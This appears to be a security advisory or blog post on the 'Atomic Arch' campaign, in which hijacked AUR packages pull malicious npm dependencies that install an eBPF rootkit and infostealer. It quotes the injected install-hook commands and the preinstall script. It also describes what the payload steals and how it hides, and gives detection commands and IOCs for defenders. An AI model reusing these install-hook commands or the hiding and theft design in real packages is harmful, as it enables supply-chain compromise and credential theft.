# "Atomic Arch": 400+ AUR Packages Hijacked to Deliver an eBPF Rootkit and Infostealer

## Executive Summary

An attacker spoofing a trusted maintainer on the Arch User Repository (AUR) adopted and trojanized more than 408 packages — and according to Sonatype, the figure may have reached roughly 1,500 across multiple waves. The malicious code does not live inside the AUR package itself; it is pulled in at install time through a malicious npm dependency (`atomic-lockfile`, then `js-digest` and `lockfile-js`), which drops a Linux ELF payload that is both an **infostealer** (GitHub, SSH, HashiCorp Vault, browser cookies, Slack, Discord, Teams, Telegram) and an **eBPF rootkit** capable of running in-kernel to hide processes, files, and network connections.

The directly affected population is not everyday users but **developer workstations and build environments** — precisely where secrets (tokens, keys, credentials) concentrate. Because a rootkit is involved, an infected host cannot be considered clean after merely removing the package.

**The single most important action right now:** pause all updates through AUR helpers (`yay`, `paru`, etc.) and use only `sudo pacman -Syu` for the official repositories until an all-clear is issued; in parallel, audit any developer or CI-runner host running Arch against the IOCs at the end of this post.

* * *

## What happened

The campaign — which Sonatype dubbed **Atomic Arch** — was first disclosed on 2026-06-11 and escalated quickly across at least three waves:

| Date (UTC) | Event |
| --- | --- |
| 2026-06-11 | Wave 1: PKGBUILDs modified with a post-install script calling `npm install atomic-lockfile`. Initially believed to be a few dozen packages. |
| 2026-06-12 | Wave 2: uses **Bun** instead of npm to install `js-digest` / `lockfile-js`. IFIN confirms 408+ packages. |
| 2026-06-14 ~07:00 | Wave 3: attempts to obfuscate the `bun add` command, referencing a `nextfile-js` dependency. |
| 2026-06-15 ~15:00 | **AUR registration disabled.** |

On scope, sources do not yet agree and I keep both figures for your own judgment: BleepingComputer and IFIN report **"over 400 / 408+ packages,"** while Sonatype's preliminary estimate is that the campaign **may affect approximately 1,500 packages** across waves. Counts may still change as maintainers continue auditing.

* * *

## How the attack works

The cleverest part of Atomic Arch is that it does **not trick users into installing something new** — it inherits existing trust. AUR lets anyone "adopt" a package once it is marked orphaned, then submit changes to its `PKGBUILD` — the Bash script holding an Arch package's build instructions. The attacker automated the hunt for abandoned packages, mass-adopted them, and injected an install-time script into the `PKGBUILD`:

```bash
# Wave 1 (npm) — the modified post-install hook inside PKGBUILD
npm install atomic-lockfile minimist chalk
 
# Wave 2 (Bun) — switched to Bun to evade detection
bun add js-digest
```

The malicious npm package in turn defines a `preinstall` script in its `package.json` to execute a bundled ELF binary:

```json
{ "scripts": { "preinstall": "./lib/install-deps.mjs" } }
```

The key defensive implication: **the "trusted" AUR package itself contains no malicious code**. The malware lives in a dependency fetched at install time, so tools that only scan the original package's contents will miss it. This is the same technique seen in the axios compromise (the injected `plain-crypto-js` dependency).

> ⚠️ **Operator mistake:** The `lockfile-js` package declared the same `preinstall` hook as `js-digest` but the published package was **missing the referenced** `lib/` **directory** — Sonatype used this very mistake (plus leftover metadata artifacts) to link the second wave to the original operation.

* * *

## Payload analysis

*The eBPF architecture lets programs run in the Linux kernel — abused here to hide processes, files, and connections. (Source: ebpf.io)*

The payload is a native Linux ELF executable (researcher Whanos named the sample `deps`) bundled in the npm package. Static analysis points to four capability clusters:

**1\. eBPF rootkit**

The binary references an eBPF program (`scales.bpf.c`) and libbpf APIs — `bpf_object__load`, `bpf_program__attach`, `bpf_map__pin`. eBPF lets code run in the Linux kernel with elevated privileges. It hooks the `getdents64()` syscall (used to enumerate directory entries) and maintains eBPF maps named `hidden_pids`, `hidden_names`, `hidden_inodes` to **hide processes, files, and inodes** from ordinary enumeration tools.

**2\. Infostealer**

String references in the binary indicate broad, developer-centric harvesting targets:

*   GitHub credentials, SSH artifacts, HashiCorp Vault tokens
    
*   Browser cookie databases
    
*   Slack, Discord, Microsoft Teams, Telegram
    
*   Docker/Podman, npm, VPN material, shell histories (per the Whanos report) **3\. Anti-analysis**
    

It includes debugger-detection logic via `PTRACE_ATTACH` / `PTRACE_SEIZE` and uses the `NETLINK_SOCK_DIAG` socket diagnostics interface — signs of efforts to reduce visibility and hinder analysis.

**4\. Exfiltration**

The binary supports archiving, multipart form-data handling, and HTTP upload (with a `POST /upload` reference) — enough for a typical data-exfiltration mechanism.

> The second wave used a binary **different** from `atomic-lockfile` but retained most characteristics (eBPF, browser artifacts, credential stores, Slack/Discord) — the attacker is evolving tooling while keeping the same objectives and tradecraft.

* * *

## Attribution & source notes

A point requiring caution: IFIN's initial report attributed the malicious commits to a known maintainer account, **but later corrected this to say the account was spoofed** — not compromised. That distinction matters for attribution. The `atomic-lockfile` npm package was published by user `herbsobering` (Socket.dev recorded 134 downloads); searching that username on GitHub leads to a container image that appears to be a reverse shell/proxy tool. No attribution to any specific APT group has been made.

On identifiers: Sonatype tracks the campaign under its internal IDs **Sonatype-2026-003775** (wave 1, CVSS **8.7**) and **Sonatype-2026-003808** (wave 2). This CVSS is assigned by Sonatype and is **not an official NVD/MITRE CVE**.

* * *

## Detection & Hunting

**Check for affected packages (without downloading a foreign script to run):**

```bash
# Compare installed AUR packages against the community-maintained list
echo "Affected Packages Found:"; \
comm -12 <(pacman -Qqm | sort) \
         <(curl -s https://cscs.pastes.sh/raw/aurvulnlist20260611.txt | sort) | \
{ read -r l && printf '%s\n' "$l" || echo "None known."; }
```

**Hunt the eBPF rootkit** — list eBPF maps and look for suspicious names:

```bash
sudo bpftool map list | grep -E 'hidden_pids|hidden_names|hidden_inodes'
```

**Network:** block **outbound Tor** traffic from the network (a general IFIN recommendation that applies even to non-Arch organizations). In a SOC context this is an easy firewall/proxy rule with high detection value across many malware families, not just this campaign.

**Temporarily avoid** running `yay -Syu` / `paru` or any AUR helper; use only `sudo pacman -Syu` for the official repos until an all-clear is given.

* * *

## Indicators of Compromise (IOC)

| Type | Value |
| --- | --- |
| npm package (wave 1) | `atomic-lockfile` (publisher: `herbsobering`) |
| npm package (wave 2) | `js-digest`, `lockfile-js` |
| npm package (wave 3, obfuscated) | `nextfile-js` |
| eBPF program ref | `scales.bpf.c` |
| eBPF map names | `hidden_pids`, `hidden_names`, `hidden_inodes` |
| Hooked syscall | `getdents64()` |
| ELF sample name | `deps` |
| SHA256 (ELF bundled in `js-digest`) | `7883bda1ff15425f2dbe622c45a3ae105ddfa6175009bbf0b0cad9bf5c79b316` |
| Exfil endpoint ref | `POST /upload` |
| Tracking IDs | Sonatype-2026-003775 (CVSS 8.7), Sonatype-2026-003808 |

* * *

## Recommendations

*   **Treat any host that installed/updated an affected AUR package as compromised.** Removing the package is insufficient — a rootkit removes any basis for trusting the system; consider reinstalling Arch from scratch.
    
*   **Rotate all credentials** on suspected hosts: GitHub/SSH keys, Vault tokens, session cookies, Slack/Discord/Teams tokens.
    
*   **Pause AUR helpers**, update only via the official `pacman` repos; prefer packages with active, frequently updated communities.
    
*   **Block outbound Tor** and hunt for `hidden_*` eBPF maps across the developer/CI-runner fleet.
    

* * *

## References

1.  BleepingComputer — [Over 400 Arch Linux packages compromised to push rootkit, infostealer](https://www.bleepingcomputer.com/news/security/over-400-arch-linux-packages-compromised-to-push-rootkit-infostealer/) (2026-06-12)
    
2.  IFIN / Independent Federated Intelligence Network — [400+ AUR Packages Compromised with Infostealer and Rootkit](https://discourse.ifin.network/t/400-aur-packages-compromised-with-infostealer-and-rootkit/577) (updated 2026-06-15)
    
3.  Sonatype Security Research Team — [Atomic Arch: npm Campaign Adds Malicious Dependency](https://www.sonatype.com/blog/atomic-arch-npm-campaign-adds-malicious-dependency) (2026-06-11, updated 2026-06-12)